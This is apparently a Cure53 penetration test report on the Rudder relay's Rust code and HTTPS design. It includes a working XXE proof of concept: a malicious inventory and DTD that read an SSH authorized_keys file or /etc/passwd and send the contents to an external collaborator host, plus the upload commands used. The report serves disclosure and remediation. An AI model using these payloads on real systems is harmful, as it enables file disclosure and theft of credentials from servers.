Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Audit-Report Rudder Rust Codebase & Crypto 07.2024

Cure53, Dr.-Ing. M. Heiderich, MSc. H. Moesl-Canaval, BSc. D. Prodinger

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Rudder is a configuration and security automation platform. Manage your Cloud, hybrid or on-premises infrastructure in a simple, scalable and dynamic way.”

From https://github.com/Normation/rudder

This report describes the results of a cryptography review, design audit, and source code audit against the Rudder HTTPS communications, as well as the Rudder Rust codebase.

To give some context regarding the assignment’s origination and composition, Normation SAS contacted Cure53 in May 2024. The test execution was scheduled for July 2024, namely in CW28 / CW29. A total of twelve days were invested to reach the coverage expected for this project, and a team of three senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a white-box strategy, whereby assistive materials such as sources, documentation, test-user credentials, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into two separate work packages (WPs), defined as:

- **WP1**: Cryptography reviews & design audits against Rudder HTTPS comms
- **WP2**: Security reviews & source code audits against Rudder Rust codebase

All preparations were completed in July 2024, specifically during CW27, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Slack channel, established to combine the teams of Rudder and Cure53. All personnel involved from both parties were invited to participate in this channel. Communications were smooth, with few questions requiring clarification, and the scope was well-defined and clear. No significant roadblocks were encountered during the test. Cure53 provided frequent status updates and shared their findings. Live reporting was offered, and this was done for the identified vulnerability, through the aforementioned Slack channel.

The Cure53 team achieved good coverage over the scope items, and identified a total of four findings. Of the four security-related findings, one was classified as a security vulnerability, and three were categorized as general weaknesses with lower exploitation potential.

The overall number of findings made during this assessment can be seen as a small amount, and this can be interpreted as a positive sign with regard to the security of the inspected scope. It is especially good to note that no issues of *Critical* severity were identified during this initial security assessment of the Rudder relay component.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Nevertheless, the single vulnerability identified in this report - an XML External Entity injection (XXE) vulnerability leading to a file disclosure - was ranked as *High* in severity. This showcases that there are still some areas of the assessed scope that could benefit from further attention and improvement, in order to improve security.

All in all, it can be concluded that the security posture of the inspected Rudder aspects and components can be seen as already being quite well strengthened. However, it should be mentioned that this assessment's focus on the relay component and associated HTTPS communication highlights the potential benefits of expanding the scope of future engagements. A comprehensive security posture assessment, encompassing all components of the Rudder software complex, would significantly enhance its overall security posture.

This report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Next, the report will detail the *Test Methodology* used in this exercise. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, plus any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the Rudder HTTPS communications, as well as the Rudder Rust codebase.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Cryptography reviews & source code audits against Rudder Rust codebase & crypto**
  - **WP1:** Cryptography reviews & design audits against Rudder HTTPS comms
    - **Documentation:**
      - https://docs.rudder.io/api/relay/v/1/
      - https://docs.rudder.io/reference/8.1/reference/architecture.html
      - https://docs.rudder.io/reference/8.1/administration/relayd.html
  - **WP2:** Security reviews & source code audits against Rudder Rust codebase
    - **Sources:**
      - **URL:**
        - https://github.com/Normation/rudder/[...]/8.1/relay/sources/relayd
      - **Commit:**
        - 9fed111e27add59d12eaa61c30d41009cdf34b4d
  - **Test User Credentials**
    - Rudder 8.1.5 server (latest stable version)
      - Web access:
        - URL: https://pf1.dev.rudder.io/
        - U: admin
      - IP: 54.194.214.178
      - SSH U: rocky
    - Relay node
      - IP: 18.203.233.153
      - SSH U: admin
    - Linux node connected to relay
      - IP: 34.246.173.197
      - SSH U: admin
    - Windows node connected to Rudder server
      - IP: 34.241.154.152
      - SSH/RDP U: Administrator
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Test Methodology

This section documents the testing methodology applied by Cure53 during this project, and discusses the resulting coverage, elaborating on how various system components were examined. Further clarification concerning areas of investigation subjected to a deep-dive assessment is offered. Cure53's methodology included both automated tools and manual testing techniques, ensuring a comprehensive review that addresses both surface-level and more complex security concerns.

WP1: Cryptography reviews & design audits against Rudder HTTPS comms

This section presents a comprehensive list of the tasks and evaluations carried out on the Rudder HTTPS communication review and design audit. For this purpose, Normation SAS provisioned a dedicated testing environment consisting of a central Rudder server (AKA root server), a relay server, a Linux node, and a Windows node. It is important to note that only the Linux machine was connected to Rudder through the relay, while the Windows node had a direct connection to the root server.

In order to understand Rudder's architecture and inner workings, the testers commenced the review by studying the supplied documentation material. While doing so, potential security shortcomings and design flaws were noted for later review in the live environment. Armed with this information, Cure53 then continued by instrumenting the test nodes with HTTPS proxies to intercept, modify, and replay messages exchanged between individual Rudder components. This process involved installing the *mitmproxy*[1] software, placing the appropriate CA root certificate in the system's trust store, and bypassing Rudder's certificate pinning configuration. Consequently, this setup allowed the testers to scrutinize HTTP communications and assess security-relevant transport configurations, such as the employed TLS / SSL versions and cipher suites.

Cure53 leveraged this transport-level access to tamper with the exchanged data, and to mount various attacks against the Rudder application data. These exploitation attempts included, but were not limited to, the OWASP Top 10[2] categories, which eventually led to the discovery of an XXE vulnerability in the Rudder web application (see RUD-01-001).

Additionally, the server-side configuration of the Rudder relay component was scrutinized, verifying the effectiveness of authentication mechanisms for WebDAV, and the implementation of mTLS[3] used for authenticating Rudder nodes. Rudder leverages mTLS for communication between nodes and the relay / server, and from the relay to its upstream (root) server. During the initial inventory update, the node's certificate is pushed to the relay. After manually accepting the node, the certificate is added to the list of known nodes.

[1] https://mitmproxy.org/
[2] https://owasp.org/Top10/
[3] https://www.cloudflare.com/learning/access-management/what-is-mutual-tls/

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Instead of a classic PKI, Rudder relies on the UID field within the certificate, which identifies the node by its UUID and the associated private key.

The method of pushing inventories and reports to the relay from Rudder nodes was examined. Nodes utilize WebDAV with basic authentication and a hardcoded password, in order to transmit their inventories and reports to the relay. The WebDAV folder for initial inventories differs from the folder for inventory updates. Given that nodes must be allow-listed by their IP addresses or IP ranges on the relay / server, the security of using hardcoded passwords for WebDAV is deemed adequate in this specific context.

Ultimately, Cure53 employed dynamic application security testing (DAST) methods while interacting with the Rudder relay API in order to identify unintended behavior and vulnerabilities. However, these efforts failed, emphasizing the relay API's security posture.

WP2: Security reviews & source code audits against Rudder Rust codebase

Both static and dynamic analyses were performed, in order to ensure thorough coverage of the codebase and application functionality. These efforts aimed to determine whether identified vulnerabilities have real-world implications, or whether they merely serve as supplementary defense-in-depth advice.

As part of this process, Cure53 applied several industry-standard tools - including Cargo Audit, Clippy, and Semgrep - to assess the codebase. These tools did not identify any imminent dependency or code issues. Additionally, resolving an initial problem with the missing root *Cargo.toml* allowed for successful local builds of the *relayd* application.

Recognizing that *relayd* already employed fuzzing, the testers utilized the functional build to develop and execute additional fuzzing harnesses targeting the Hash and RunInfo components. Despite executing over 100 million iterations for each harness, no vulnerabilities or issues were detected, demonstrating the robustness of these components under extensive testing.

Positive findings included the use of Rust crates such as Secrecy[4], which enabled secure management of HTTP basic authentication credentials. This approach ensured that sensitive information was handled safely, and reduced the risk of exposure. Additionally, the implementation of *tokio::process::command* for executing system commands on the Remote Run endpoint was noted as a significant security measure. This method effectively mitigated the risk of RCE vulnerabilities, by securely handling system command executions.

However, a few minor issues were identified that could potentially lead to Denial of Service (DoS) situations. Specifically, file and stream read operations were found to lack defined upper memory limits, potentially allowing for DoS. These issues are further detailed in findings RUD-01-003 and RUD-01-004.

[4] https://crates.io/crates/secrecy

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Furthermore, it was observed that input parameters across all relevant API endpoints were properly sanitized and validated. This practice is crucial in preventing common web vulnerabilities such as injection attacks, and in ensuring the integrity of data processing. No path traversal vulnerabilities were identified, as the application correctly sanitized file paths, which prevented unauthorized access to the file system. Moreover, an extensive inspection for SQL injection (SQLi) issues was conducted, which revealed no vulnerabilities within the codebase.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., RUD-01-001) to facilitate any future follow-up correspondence.

RUD-01-001 WP1: XXE through inventory file facilitates file disclosure *(High)*

Fix note: *Normation SAS has mitigated this issue[5], and Cure53 verified the fix.*

While analyzing the communication between the Rudder agents and the relay server, Cure53 noted that the central Rudder server which parses incoming inventory files is vulnerable to XXE attacks. To showcase this vulnerability's impact, Cure53 highlights two scenarios where this vulnerability could be abused for privilege escalation and lateral movement within the network.

The first scenario assumes that an external threat actor successfully compromised and gained root access to a node that Rudder manages. With this access and the XXE in inventory parsing, the adversary may exfiltrate arbitrary files from the Rudder server by crafting a malicious inventory, signing it, and eventually sending it to the relay or central Rudder server for processing.

With the test setup described below, an attacker, as described in the first scenario, can read arbitrary files (in this case: */home/rocky/.ssh/authorized_keys*) on the Rudder server and exfiltrate them via HTTP. Please note that this extraction method is limited to single-line files only, as files containing non-ASCII characters interfere with the URL format, and prevent exfiltration.

Malicious inventory (inventory.ocs):

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://15a1-81-223-131-81.ngrok-free.app/xxe.dtd"> %xxe;]>
<REQUEST>
  <CONTENT>
    <ACCESSLOG>
      <LOGDATE>2024-07-10 13:46:35</LOGDATE>
    </ACCESSLOG>
    [...]
  </CONTENT>
  <DEVICEID>agent-linux-2024-07-02-16-10-52</DEVICEID>
  <QUERY>INVENTORY</QUERY>
</REQUEST>
```

[5] https://github.com/Normation/rudder/pull/5772

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Malicious DTD (https://eb55-81-223-131-81.ngrok-free.app/xxe.dtd):

```
<!ENTITY % file SYSTEM "file:///home/rocky/.ssh/authorized_keys">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM
'http://rsnj2p0ax8si4463mzkfllsig9m0awyl.oastify.com/?x=%file;'>">
%eval;
%exfiltrate;
```

PoC:

```
# Sign and compress the inventory
admin@agent-linux:~$ gzip -kf inventory.ocs
admin@agent-linux:~$ sudo /opt/rudder/bin/rudder-sign inventory.ocs

# Upload signature and inventory
admin@agent-linux:~$ sudo /opt/rudder/bin/rudder-client -e /inventory-
updates/ -- --upload-file ./inventory.ocs.sign
admin@agent-linux:~$ sudo /opt/rudder/bin/rudder-client -e /inventory-
updates/ -- --upload-file ./inventory.ocs.gz
```

Logged HTTP request:

```
GET /?x=ssh-ed25519 AAAAC[...]3k3Ce cure53-rudder HTTP/1.1
User-Agent: Java/17.0.11
Host: rsnj2p0ax8si4463mzkfllsig9m0awyl.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```

In the second scenario, Cure53 assumes a malicious administrator has access to some infrastructure, such as a node managed by Rudder and the Rudder web interface. However, this administrator has no access to the Rudder server (besides the web interface). Again, crafting a malicious inventory allows this adversary to disclose the content of any file on the Rudder server via the web interface. Moreover, the single-line limitation of the first scenario does not apply here, leading to sensitive file disclosure.

To exploit the second scenario, the malicious administrator may send the inventory file using the same PoC commands shown previously. Doing so would result in the Rudder server's */etc/passwd* file being disclosed through the Linux node's inventory view within the web interface.

Malicious inventory (inventory.ocs):

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<REQUEST>
  <CONTENT>
    [...]
    <ENVS>
      <KEY>RUDDER_BIN</KEY>
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
      <VAL>&xxe;</VAL>
    </ENVS>
    [...]
  </CONTENT>
  <DEVICEID>agent-linux-2024-07-02-16-10-52</DEVICEID>
  <QUERY>INVENTORY</QUERY>
</REQUEST>
```

To mitigate this issue, Cure53 advises modifying the security settings of the XML parser currently in use, and turning off external and dynamic entity resolution. For further guidance on this topic, please refer to OWASP's *XML External Entity Prevention Cheat Sheet*[6].

[6] https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit, but which may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

RUD-01-002 WP1: Rudder web interface is running with root privileges *(Medium)*

The assessment of the Rudder deployment revealed that Rudder's web application is running with root privileges on the central server. Generally speaking, it is considered bad practice to equip a service with root permissions, especially if the service is bound to the network stack, as is the case for an application accessible over the internet.

Please note that this misconfiguration boosts the criticality of ticket RUD-01-001, as the XXE vulnerability within the web service facilitates file disclosure with root access.

PoC:

```
[rocky@server ~]$ ps -ef f
UID          PID    PPID  C STIME TTY      STAT   TIME CMD
root           2       0  0 Jul02 ?        S      0:00 [kthreadd]
[...]
root      149232  149230  0 Jul02 ?        Sl   102:29  \_
/usr/lib/jvm/java-17-openjdk-17.0.11.0.9-2.el9.x86_64/bin/java -
Djava.io.tmpdir=/tmp -Djetty.home=/opt/rudder/jetty -Djetty.base=
[...]
```

To remediate this issue, Cure53 recommends adhering to the principle of least privilege and assigning only the minimal set of privileges necessary to any given service. A possible solution would be to create a dedicated service account or user, which would execute high-risk workloads such as web applications that a remote attacker might target. Moreover, individual services could be containerized, which would provide an additional layer of security in case of compromise.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

RUD-01-003 WP2: File read operations without max limit may result in DoS *(Low)*

During static analysis of the *relayd* application, it was identified that file read operations utilize the *tokio::fs::read* function. This function reads the entire file into memory, which can potentially deplete system resources. An attacker could exploit this by supplying an excessively large file, causing the system to allocate substantial memory and resulting in system slowdowns or crashes.

Affected file:
relayd/src/output/upstream.rs

Affected code:
```
async fn forward_file(
    job_config: Arc<JobConfig>,
    endpoint: &str,
    path: PathBuf,
    password: SecretString,
) -> Result<(), Error> {
    let content = tokio::fs::read(path.clone()).await?;

    [...]
}
```

Affected file:
relayd/src/input.rs

Affected code:
```
use tokio::fs::read;

[...]

pub async fn read_compressed_file<P: AsRef<Path>>(path: P) ->
Result<Vec<u8>, Error> {
    let path = path.as_ref();

    debug!("Reading {:#?} content", path);
    let data = read(path).await?;

    [...]
}
```

Cure53 recommends implementing file size checks before reading files into memory, or reading files in chunks to prevent potential DoS attacks.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

RUD-01-004 WP2: Stream read operation for Shared Files API can result in DoS *(Low)*

During a source code audit of the *relayd* application, it was observed that nodes could upload shared files to the relay via HTTP. These files include a metadata header containing a file signature and the algorithm used to calculate the signature. However, the API uses the blocking function *BufRead::read_line* to identify the end of the metadata by reading the HTTP body until a newline character is found. An attacker could exploit this by sending a long metadata string without a newline to the relay, causing DoS, as the API call blocks until a newline is encountered.

Affected file:
relayd/src/api/shared_files.rs

Affected code:

```
pub async fn put_local(
    file: SharedFile,
    params: SharedFilesPutParams,
    job_config: Arc<JobConfig>,
    body: Bytes,
) -> Result<StatusCode, Error> {
    if !job_config.nodes.read().await.is_subnode(&file.source_id) {
        warn!("unknown source {}", file.source_id);
        return Ok(StatusCode::NOT_FOUND);
    }

    let mut stream = BufReader::new(body.reader());
    let mut raw_meta = String::new();
    // Here we cannot iterate on lines as the file content may not be valid
UTF-8.
    let mut read = 2;
    // Let's read while we find an empty line.
    while read > 1 {
        read = stream.read_line(&mut raw_meta)?;
    }

    [...]
}
```

Cure53 recommends defining a maximum size for the metadata header and including the file length in the header for proper validation. This approach ensures that potential DoS attacks in the form of invalid file upload requests are detected early and handled appropriately.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, Normation SAS requested that Cure53 conduct a security review covering the open-source Rust codebase of the Rudder relay component, and a design audit of Rudder's encrypted HTTPS communication. This report has highlighted four security-related items identified as having a detrimental impact on the scope of the assessment, following an in-depth analysis conducted by three of Cure53's senior testers in July 2024.

Cure53 maintained ongoing communication with the Normation SAS team via a dedicated Slack channel. This interaction was highly effective, and the testing team found that assistance was readily available upon request. Additionally, the testers used this channel to provide regular updates on the project's status, including summaries of identified issues. Further to this, the observed vulnerability was live-reported to Normation SAS for remediation, before being fix-verified by Cure53.

Before commencing the technical aspects of this security assessment, Cure53 received comprehensive architectural and security-related documentation which detailed the inner workings of essential Rudder components. Moreover, Normation SAS provisioned a dedicated testing environment consisting of a central Rudder server, a relay server, a Linux node, and a Windows node. Normation SAS provided the Cure53 team with SSH / RDP access to these machines where applicable.

The Cure53 team achieved good coverage over the tested scope, in particular, the Rudder relay source code and the design and implementation of communication channels within Rudder. In order to provide better insight into the audit, a separate *Test Methodology* section has been included in this report.

This section will now take a closer look at the most prominent findings made during the assessment, ordered by WP.

In this first work package, Cure53 investigated the design and implementation of Rudder's communication channels for cryptographic issues and more general security-related shortcomings. The team found the transmission architecture itself to be adequate for Rudder's specific requirements. However, one vulnerability and one miscellaneous issue were observed in the platform's core elements, which could have been exploited by an attacker tampering with the application's data.

The central Rudder server responsible for parsing incoming inventory files was found to be vulnerable to XXE attacks. This vulnerability is described in detail in RUD-01-001. The web interface backend of Rudder running on the central server was found to be running with root user privileges. This is described in RUD-01-002.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The Rudder relay component is written in the Rust programming language. Rust is considered a safe and efficient language, which has proven resilient against memory corruption issues such as use-after-free (UAF) vulnerabilities.

The codebase underwent static and dynamic analysis using tools such as Cargo Audit, Clippy, and Semgrep. Fuzzing was performed, using Cargo AFL. Despite thorough efforts here, no significant issues were identified within the code. Additionally, fuzzing demonstrated good overall stability within the codebase.

Two minor miscellaneous issues were identified, indicating that file and stream read operations did not include a maximum limit. These issues are detailed in RUD-01-003 and RUD-01-004.

As a general note, the testing team positively observed that the codebase appeared to have been built with security in mind. This included the use of API parameter validation, as well as effective mitigation against attacks such as path traversal and SQLi.

To conclude this first security review of the Rudder relay component, the Cure53 team is of the opinion that the Rust source code is well-written and secured against most common attacks. However, it is recommended to maintain a proactive approach to security by implementing regular updates, continuous monitoring, and addressing any identified issues promptly. This will help to ensure that security measures remain effective against potential breaches as vulnerabilities evolve and new threats emerge.

This project focused solely on the relay component and associated HTTPS communication within Rudder. It is advised that further assessments of the remaining components comprising the Rudder software complex would be highly beneficial to its overall security posture.

Cure53 would like to thank François Armand, Alexis Mousset, and Félix Dallidet from the Normation SAS team for their excellent project coordination, support, and assistance, both before and during this assignment.